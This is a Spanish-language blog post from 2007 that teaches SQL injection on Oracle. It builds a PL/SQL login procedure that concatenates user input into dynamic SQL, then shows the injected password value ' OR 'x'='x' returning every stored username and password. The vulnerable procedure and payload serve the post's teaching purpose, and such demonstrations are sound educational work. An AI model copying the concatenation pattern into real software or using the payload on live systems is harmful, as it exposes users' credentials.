sábado, 14 de julio de 2007

SQL Injection

SQL Injection es una técnica de ataque a una base de datos. Mediante una aplicación Web, el atacante puede modificar los parámetros que envía desde un formulario hacia la base de datos y de ésta manera, modificar la sentencia SQL que se ejecuta. Podemos ejecutar sentencias DML, DDL... entre otras cosas.

Veamos un ejemplo de SQL Injection en Oracle:

Creamos una tabla para nuestra prueba que contiene usuarios y passwords:


SQL_9iR2> CREATE TABLE login AS
2 SELECT 'user_'||level username, to_char(level*10000) password
3 FROM dual
4 CONNECT BY level <= 5 ; Table created.

SQL_9iR2> SELECT *
2 FROM login ;

USERNAME PASSWORD
---------------- ----------
user_1 10000
user_2 20000
user_3 30000
user_4 40000
user_5 50000

5 rows selected.


Creamos un procedimiento de login que recibe como parámetros el usuario y password de validación. Si los datos son correctos, se devuelven todos los usuarios y passwords de la tabla login, en caso contrario se devuelve una leyenda de error:


SQL_9iR2> CREATE OR REPLACE PROCEDURE pr_login
2 (
3 p_username IN VARCHAR2 ,
4 p_password IN VARCHAR2
5 )
6 IS
7 l_flag BOOLEAN DEFAULT FALSE ;
8 l_cursor SYS_REFCURSOR ;
9 l_query VARCHAR2(4000) ;
10 registro login%ROWTYPE ;
11 BEGIN
12 l_query := 'SELECT *'
13 ||' FROM login'
14 ||' WHERE username = '''||p_username||''''
15 ||' AND password = '''||p_password||'''' ;
16
17 dbms_output.put_line('CONSULTA: '||l_query) ;
18
19 OPEN l_cursor FOR l_query ;
20 LOOP
21 FETCH l_cursor INTO registro ;
22 EXIT WHEN l_cursor%NOTFOUND ;
23 dbms_output.put_line('USER : '||registro.username||'
'||'PASS:'||registro.password) ;
24 IF NOT ( l_flag ) THEN
25 l_flag := TRUE ;
26 END IF ;
27 END LOOP ;
28 CLOSE l_cursor ;
29 IF NOT ( l_flag ) THEN
30 dbms_output.put_line('LOGIN INCORRECTO!') ;
31 END IF ;
32 EXCEPTION
33 WHEN OTHERS THEN
34 dbms_output.put_line('LOGIN INCORRECTO!') ;
35 END ;
36 /

Procedure created.


Bien, ahora vamos a probar nuestro procedimiento de login:


SQL_9iR2> EXEC pr_login('user_2','123456789') ;

CONSULTA: SELECT * FROM login WHERE username = 'user_2' AND password = '123456789'

LOGIN INCORRECTO!

PL/SQL procedure successfully completed.


El procedimiento anduvo a la perfección! Validó el usuario y password, y como resultan ser incorrectos, nos devolvió un error.
Fijense que en el procedimiento incluimos una linea de código (la nro. 17) que nos va a mostrar la sentencia SQL que estamos ejecutando.

Ahora probemos nuevamente ejecutar el procedimiento de login pero modificando el segundo parámetro:


SQL_9iR2> EXEC pr_login('user_2','123456789'' OR ''x''=''x') ;

CONSULTA: SELECT * FROM login WHERE username = 'user_2' AND password = '123456789' OR 'x'='x'

USER : user_1 PASS: 10000
USER : user_2 PASS: 20000
USER : user_3 PASS: 30000
USER : user_4 PASS: 40000
USER : user_5 PASS: 50000

PL/SQL procedure successfully completed.


Les presento a SQL Injection! Como acabamos de observar, modificando uno de los parámetros, pudimos lograr modificar la sentencia SQL que se ejecuta en la base de datos y por consiguiente, ver todos los usuarios y passwords de la tabla login.

La única pregunta que queda por hacer es: ¿ Qué tan segura es su aplicación ?

2 comentarios:

Herces dijo...

Excelente post.

Anónimo dijo...

Fabuloso post..Quisiera saber si desde Oracle existe una forma de garantizar los niveles de seguidad en un Web page..

Mil Gracias!!